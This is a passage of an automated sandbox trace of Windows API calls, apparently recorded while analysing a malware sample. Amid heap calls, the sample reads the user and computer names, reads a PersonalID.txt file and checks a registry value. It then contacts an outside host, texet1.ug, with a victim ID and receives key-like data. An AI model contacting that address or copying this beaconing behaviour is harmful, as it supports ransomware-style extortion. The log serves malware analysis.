Size=0x18) returned 0x663260 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc188 [0121.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x663260 | out: hHeap=0x5b0000) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53430 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x48) returned 0x2fe14b0 [0121.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc188 | out: hHeap=0x5b0000) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd428 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53360 [0121.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fe14b0 | out: hHeap=0x5b0000) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdfd0 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f1ec80 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53360 | out: hHeap=0x5b0000) returned 1 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce028 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd4b8 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd8) returned 0x2f5f988 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f1ec80 | out: hHeap=0x5b0000) returned 1 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x2fcfbb0 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce080 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53360 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x138) returned 0x2fa9540 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f5f988 | out: hHeap=0x5b0000) returned 1 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd500 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce0d8 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fce130 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd548 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c8) returned 0x2fcaf90 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fa9540 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcfb88 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53430 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd428 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdfd0 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce028 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd4b8 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcfbb0 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce080 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53360 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd500 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce0d8 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce130 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd548 | out: hHeap=0x5b0000) returned 1 [0121.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcaf90 | out: hHeap=0x5b0000) returned 1 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x30063b8 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3003578 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x30037e0 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3003a48 [0121.132] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3003cb0 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3003f18 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3004180 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x30043e8 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3004650 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ffea28 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ffec90 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x6915d8 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x2fa9540 [0121.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6915d8 | out: hHeap=0x5b0000) returned 1 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d0) returned 0x2fcaf90 [0121.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fa9540 | out: hHeap=0x5b0000) returned 1 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2b7) returned 0x2fe5810 [0121.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcaf90 | out: hHeap=0x5b0000) returned 1 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x412) returned 0x2fd50f0 [0121.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fe5810 | out: hHeap=0x5b0000) returned 1 [0121.133] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x61a) returned 0x2fd2450 [0121.133] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd50f0 | out: hHeap=0x5b0000) returned 1 [0121.133] GetUserNameW (in: lpBuffer=0x18c6f0, pcbBuffer=0x18c45c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18c45c) returned 1 [0121.134] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x590) returned 0x2fd50f0 [0121.134] GetLastError () returned 0x0 [0121.136] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18c150, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b4 [0121.138] GetFileType (hFile=0x5b4) returned 0x1 [0121.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x2fd9d30 [0121.138] ReadFile (in: hFile=0x5b4, lpBuffer=0x2fd9d30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18c1b8, lpOverlapped=0x0 | out: lpBuffer=0x2fd9d30*, lpNumberOfBytesRead=0x18c1b8*=0x2a, lpOverlapped=0x0) returned 1 [0121.139] GetLastError () returned 0x0 [0121.139] ReadFile (in: hFile=0x5b4, lpBuffer=0x2fd9d30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18c1b8, lpOverlapped=0x0 | out: lpBuffer=0x2fd9d30*, lpNumberOfBytesRead=0x18c1b8*=0x0, lpOverlapped=0x0) returned 1 [0121.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd9d30 | out: hHeap=0x5b0000) returned 1 [0121.140] CloseHandle (hObject=0x5b4) returned 1 [0121.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53498 | out: hHeap=0x5b0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6632c0 | out: hHeap=0x5b0000) returned 1 [0121.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53430 | out: hHeap=0x5b0000) returned 1 [0121.141] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0121.141] RegisterClassExW (param_1=0x18c3c8) returned 0xc129 [0121.141] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20154 [0121.153] NtdllDefWindowProc_W () returned 0x0 [0121.153] NtdllDefWindowProc_W () returned 0x1 [0121.156] NtdllDefWindowProc_W () returned 0x0 [0121.158] NtdllDefWindowProc_W () returned 0x0 [0121.159] ShowWindow (hWnd=0x20154, nCmdShow=0) returned 0 [0121.159] UpdateWindow (hWnd=0x20154) returned 1 [0121.159] GetLogicalDrives () returned 0x4 [0121.159] SetErrorMode (uMode=0x1) returned 0x0 [0121.159] PathFileExistsA (pszPath="C:\\") returned 1 [0121.159] SetErrorMode (uMode=0x0) returned 0x1 [0121.159] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0121.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x806) returned 0x302ff80 [0121.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c380, cbMultiByte=-1, lpWideCharStr=0x302ff80, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0121.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3033128 [0121.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x302ff80 | out: hHeap=0x5b0000) returned 1 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x6632c0 [0121.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3033128 | out: hHeap=0x5b0000) returned 1 [0121.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6632c0 | out: hHeap=0x5b0000) returned 1 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x6632c0 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x2fedc78 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x696bd8 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x302ff80 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x303ec38 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10e0) returned 0x2fd9d30 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53430 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3033128 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x660) returned 0x3047418 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x303f4c0 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x303fd48 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30405d0 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3040e58 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30416e0 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x2fd3350 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3041f68 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30427f0 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x2fdae18 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x2fdb660 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x2fdbec8 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3043078 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3043900 [0121.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3047a80 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30482c8 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3044188 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3044a10 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3048b28 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30493b0 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3049c38 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x304a4c0 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x304ad48 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x304b5d0 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x304be58 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x304c6e0 [0121.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x3058b10 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x3059378 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x304cf68 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x304d7f0 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x304e078 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3059be0 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x305a428 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x304e900 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x304f188 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x304fa10 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3050298 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3050b20 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30513a8 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3051c30 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30524b8 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3052d40 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x305ac70 [0121.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x305b4d8 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30535c8 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3053e50 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30546d8 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x305bd40 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3054f60 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30557e8 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3056070 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30568f8 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3057180 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3057a08 [0121.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x305c5a0 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x305ce28 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x305d6b0 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x305df38 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x306c588 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x306cdf0 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x305e7c0 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x305f048 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x305f8d0 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3060158 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30609e0 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3061268 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3061af0 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3062378 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3062c00 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2fb0d08 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3063488 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x306d658 [0121.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x306de70 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x306e688 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x306eea0 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x306f6b8 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x306fed0 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3063d10 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53498 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3064598 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3064e20 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30656a8 [0121.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3065f30 [0121.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x696be0, dwCreationFlags=0x0, lpThreadId=0x2fedc80 | out: lpThreadId=0x2fedc80*=0x598) returned 0x39c [0121.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x5bc) returned 0x394 [0121.166] GetMessageW (lpMsg=0x18c578, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0122.829] NtdllDefWindowProc_W () returned 0x0 [0133.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x3078d28 [0133.558] GetComputerNameW (in: lpBuffer=0x3078d28, nSize=0x18c0d0 | out: lpBuffer="XDUWTFONO", nSize=0x18c0d0) returned 1 [0133.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186a8 [0133.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3078d28 | out: hHeap=0x5b0000) returned 1 [0133.558] IsWindow (hWnd=0x20154) returned 1 [0133.558] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186a8 | out: hHeap=0x5b0000) returned 1 [0221.212] NtdllDefWindowProc_W () returned 0x1 [0236.776] NtdllDefWindowProc_W () returned 0x1 Thread: id = 106 os_tid = 0x694 Thread: id = 107 os_tid = 0x6b0 Thread: id = 108 os_tid = 0x6b4 Thread: id = 109 os_tid = 0x6b8 Thread: id = 110 os_tid = 0x6bc Thread: id = 111 os_tid = 0x6c4 Thread: id = 192 os_tid = 0x54c Thread: id = 193 os_tid = 0x520 Thread: id = 235 os_tid = 0x51c [0119.760] timeGetTime () returned 0x9673 [0119.760] GetLastError () returned 0x54f [0119.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3bc) returned 0x2fd2450 [0119.760] GetCurrentThreadId () returned 0x51c [0119.760] SetLastError (dwErrCode=0x54f) [0119.760] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x982a6e4 | out: phkResult=0x982a6e4*=0x5a0) returned 0x0 [0119.760] RegQueryValueExW (in: hKey=0x5a0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x982a6d8, lpData=0x982a6e0, lpcbData=0x982a6dc*=0x4 | out: lpType=0x982a6d8*=0x4, lpData=0x982a6e0*=0x1, lpcbData=0x982a6dc*=0x4) returned 0x0 [0119.760] RegCloseKey (hKey=0x5a0) returned 0x0 [0119.760] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0119.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f1ec80 [0119.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x2f5f6e8 [0119.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f1ec80 | out: hHeap=0x5b0000) returned 1 [0119.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x683e08 [0119.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x2fd2818 [0119.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x683e08, cbMultiByte=-1, lpWideCharStr=0x2fd2818, cchWideChar=1056 | out: lpWideCharStr="711BCE0E5BC884176929A7862BF0A291") returned 33 [0119.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x850) returned 0x2fd3060 [0119.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd2818 | out: hHeap=0x5b0000) returned 1 [0119.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683e08 | out: hHeap=0x5b0000) returned 1 [0119.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e0) returned 0x2fd50f0 [0119.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f5f6e8 | out: hHeap=0x5b0000) returned 1 [0119.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd3060 | out: hHeap=0x5b0000) returned 1 [0119.761] lstrcpyW (in: lpString1=0x982af78, lpString2="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291" [0119.761] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0120.906] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x982a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x982a774 | out: lpBuffer=0x982a778*, lpdwNumberOfBytesRead=0x982a774*=0x67) returned 1 [0120.906] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0120.908] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0120.908] lstrlenA (lpString="{\"line1\":\"") returned 10 [0120.908] lstrcpyA (in: lpString1=0x982ab78, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.908] lstrcpyA (in: lpString1=0x982a778, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0120.908] lstrlenA 